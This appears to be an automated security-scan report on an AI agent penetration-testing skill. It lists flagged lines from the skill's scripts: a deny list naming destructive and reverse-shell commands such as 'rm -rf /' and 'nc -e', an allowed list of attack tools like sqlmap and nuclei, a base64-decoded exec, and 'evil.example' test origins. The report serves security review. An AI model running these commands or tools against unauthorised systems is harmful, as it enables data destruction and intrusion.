    - ZAP Automation Framework: https://www.zaproxy.org/docs/automate/automation-framework/
  • Network accessline 12
    - ZAP command line: https://www.zaproxy.org/docs/desktop/cmdline/
  • Network accessline 13
    - ZAP API: https://www.zaproxy.org/docs/desktop/start/features/api/

skills/openghost-skill/scripts/check-references.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/init-engagement.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/openghost-skill/scripts/openghost-assess.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 692
    [Credential-related source omitted]
  • Access to secretsline 693
    [Credential-related source omitted]
  • Access to secretsline 694
    [Credential-related source omitted]

skills/openghost-skill/scripts/openghost-skill.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/openghost-skill/scripts/openghost-state.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/openghost.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 31
    ALLOWED_TOOLS=(   bash sh python python3   curl wget http jq openssl dig whois nc
  • Network accessline 32
    bash sh python python3   curl wget http jq openssl dig whois nc   nmap nikto sqlmap nuclei ffuf katana httpx subfinder dnsx
  • Network accessline 33
    curl wget http jq openssl dig whois nc
  • Dangerous shell operationline 40
    'rm -rf /'
  • Dangerous shell operationline 41
    'rm -rf /*'
  • Dangerous shell operationline 51
    'chmod -R 777 /'
  • Network accessline 51
    'chmod -R 777 /'   '> /dev/sd'   'nc -e'
  • Network accessline 52
    '> /dev/sd'   'nc -e'   'ncat -e'
  • Dangerous shell operationline 53
    'nc -e'
  • Network accessline 53
    'nc -e'
  • Dangerous shell operationline 54
    'ncat -e'
  • Network accessline 54
    'ncat -e'
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 326
    [Credential-related source omitted]
  • Access to secretsline 334
    [Credential-related source omitted]
  • Dangerous shell operationline 428
    docker rm -f "$CONTAINER_NAME" >/dev/null
  • Dangerous shell operationline 448
    docker rm -f "$CONTAINER_NAME" >/dev/null
  • Dangerous shell operationline 497
    docker_exec python3 -c "import base64; exec(base64.b64decode('${encoded}').decode())"
  • Possible obfuscationline 497
    docker_exec python3 -c "import base64; exec(base64.b64decode('${encoded}').decode())"
  • Network accessline 766
    [Credential-related source omitted]
  • Network accessline 767
    [Credential-related source omitted]
  • Access to secretsline 767
    [Credential-related source omitted]
  • Network accessline 768
    [Credential-related source omitted]
  • Network accessline 769
    if [[ -n "$query" ]]; then     url="${url}&${query}"   fi
  • Network accessline 770
    url="${url}&${query}"   fi   docker_exec curl -fsS "$url"
  • Network accessline 771
    fi   docker_exec curl -fsS "$url" }
  • Network accessline 772
    docker_exec curl -fsS "$url"
  • Network accessline 784
    if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then     [[ "$quiet" == "1" ]] || printf 'zap already running: %s\n' "http://127.0.0.1:${port}"
  • Network accessline 785
    [[ "$quiet" == "1" ]] || printf 'zap already running: %s\n' "http://127.0.0.1:${port}"
  • Access to secretsline 792
    [Credential-related source omitted]
  • Network accessline 796
    for _ in $(seq 1 "$timeout"); do     if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then       [[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"
  • Network accessline 797
    if zap_api_get /JSON/core/view/version/ "" "$port" >/dev/null 2>&1; then       [[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"       return 0
  • Network accessline 798
    [[ "$quiet" == "1" ]] || printf 'zap started: %s\n' "http://127.0.0.1:${port}"
  • Network accessline 850
    done   if zap_api_get /JSON/core/view/version/ "" "$port"; then     printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"
  • Network accessline 851
    if zap_api_get /JSON/core/view/version/ "" "$port"; then     printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"   else
  • Network accessline 852
    printf '\nzap_status: running\nproxy_url: http://127.0.0.1:%s\n' "$port"
  • Access to secretsline 979
    [Credential-related source omitted]
  • Access to secretsline 1038
    [Credential-related source omitted]
  • Access to secretsline 1052
    [Credential-related source omitted]
  • Dangerous shell operationline 1055
    rm -f "$tmp"
  • Network accessline 1099
    status) cmd_zap_status "$@" ;;     stop) cmd_zap_stop "$@" ;;     proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;
  • Network accessline 1100
    stop) cmd_zap_stop "$@" ;;     proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;     baseline) cmd_zap_baseline "$@" ;;
  • Network accessline 1101
    proxy-url) printf 'http://127.0.0.1:%s\n' "$ZAP_PORT" ;;
  • Network accessline 1122
    esac   done   [[ -n "$url" ]] || die 'browser devtools requires --url'
  • Network accessline 1123
    done   [[ -n "$url" ]] || die 'browser devtools requires --url'   if [[ "$use_zap" == "1" ]]; then
  • Network accessline 1124
    [[ -n "$url" ]] || die 'browser devtools requires --url'
  • Network accessline 1125
    if [[ "$use_zap" == "1" ]]; then     zap_start_impl "$ZAP_PORT" "$ZAP_MAX_MEMORY" 60 1     proxy="http://127.0.0.1:${ZAP_PORT}"
  • Network accessline 1126
    zap_start_impl "$ZAP_PORT" "$ZAP_MAX_MEMORY" 60 1     proxy="http://127.0.0.1:${ZAP_PORT}"   fi
  • Network accessline 1127
    proxy="http://127.0.0.1:${ZAP_PORT}"
  • Network accessline 1139
    local args=(python3 "$cscript" --url "$url" --out "$cout" --wait-ms "$wait_ms")
  • Network accessline 1140
    if [[ -n "$proxy" ]]; then
  • Network accessline 1141
    args+=(--proxy "$proxy")
  • Network accessline 1184
    esac   done   [[ -n "$url" ]] || die 'engagement init requires --url'
  • Network accessline 1186
    [[ -n "$url" ]] || die 'engagement init requires --url'
  • Network accessline 1188
    local host   host="$(printf '%s' "$url" | sed -E 's|https?://||;s|/.*||;s|:.*||')"
  • Network accessline 1189
    host="$(printf '%s' "$url" | sed -E 's|https?://||;s|/.*||;s|:.*||')"
  • Network accessline 1202
    state_helper engagement-init --dir "$out" --name "$name" --url "$url" --host "$host"
  • Network accessline 1263
    append_arg_if_set args --finding "$finding"   append_arg_if_set args --module "$module"   append_arg_if_set args --url "$url"
  • Network accessline 1264
    append_arg_if_set args --module "$module"   append_arg_if_set args --url "$url"   append_arg_if_set args --method "$method"
  • Network accessline 1265
    append_arg_if_set args --url "$url"
  • Network accessline 1404
    append_arg_if_set args --module "$module"   append_arg_if_set args --asset "$asset"   append_arg_if_set args --url "$url"
  • Network accessline 1405
    append_arg_if_set args --asset "$asset"   append_arg_if_set args --url "$url"   append_arg_if_set args --method "$method"
  • Network accessline 1406
    append_arg_if_set args --url "$url"

skills/openghost-skill/scripts/package-evidence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

skills/openghost-skill/scripts/pentest/NOTICE

  • Executable scriptline 1
    Executable file

skills/openghost-skill/scripts/pentest/api_inventory.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/api_owasp_top10.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 23
    [Credential-related source omitted]

skills/openghost-skill/scripts/pentest/bfla_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/bola_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]

skills/openghost-skill/scripts/pentest/cache_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/cors_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 16
    parser.add_argument("--endpoints", nargs="+", default=["/"])     parser.add_argument("--endpoints-file")     parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])
  • Network accessline 17
    parser.add_argument("--endpoints-file")     parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])     add_common_args(parser)
  • Network accessline 18
    parser.add_argument("--origins", nargs="+", default=["https://evil.example", "null", "http://localhost"])

skills/openghost-skill/scripts/pentest/forced_browsing_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 11
    [Credential-related source omitted]

skills/openghost-skill/scripts/pentest/graphql_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/hpp_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/jwt_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/mass_assignment_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]

skills/openghost-skill/scripts/pentest/nosqli_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/og_pentest.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 232
    [Credential-related source omitted]
  • Access to secretsline 235
    [Credential-related source omitted]
  • Network accessline 281
    if requests is None:         raise OpenGhostError("requests is not installed in the sandbox")     session = requests.Session()
  • Network accessline 282
    raise OpenGhostError("requests is not installed in the sandbox")     session = requests.Session()     session.headers.update({"User-Agent": DEFAULT_USER_AGENT})
  • Network accessline 283
    session = requests.Session()
  • Access to secretsline 285
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]

skills/openghost-skill/scripts/pentest/sqli_probe.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/vuln_triage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/pentest/web_baseline.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 50
    if args.check_cors:         parsed = urllib.parse.urlparse(args.target_url)         origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]
  • Network accessline 51
    parsed = urllib.parse.urlparse(args.target_url)         origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]         for origin in origins:
  • Network accessline 52
    origins = ["https://evil.example", "null", f"{parsed.scheme}://{parsed.hostname}.evil.example"]

skills/openghost-skill/scripts/pentest/websocket_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 26
    parser = argparse.ArgumentParser(description="Validate WebSocket handshake behavior.")     parser.add_argument("--url", required=True)     parser.add_argument("--origin", default="https://evil.example")
  • Network accessline 27
    parser.add_argument("--url", required=True)     parser.add_argument("--origin", default="https://evil.example")     parser.add_argument("--header", action="append", help="Extra header as NAME: VALUE.")
  • Network accessline 28
    parser.add_argument("--origin", default="https://evil.example")

skills/openghost-skill/scripts/pentest/xss_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/playwright-zap-capture.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/scope_utils.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/select-modules.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/openghost-skill/scripts/verify-toolchain.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 8
    bash   curl   http
  • Network accessline 9
    curl   http   jq

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 348 facts

and 298 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md skills/openghost-skill/SKILL.md.claude/skills/<skill-name>/
CodexNativeManifest AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/openghost-skill/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md skills/openghost-skill/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/openghost-skill/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/openghost-skill/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.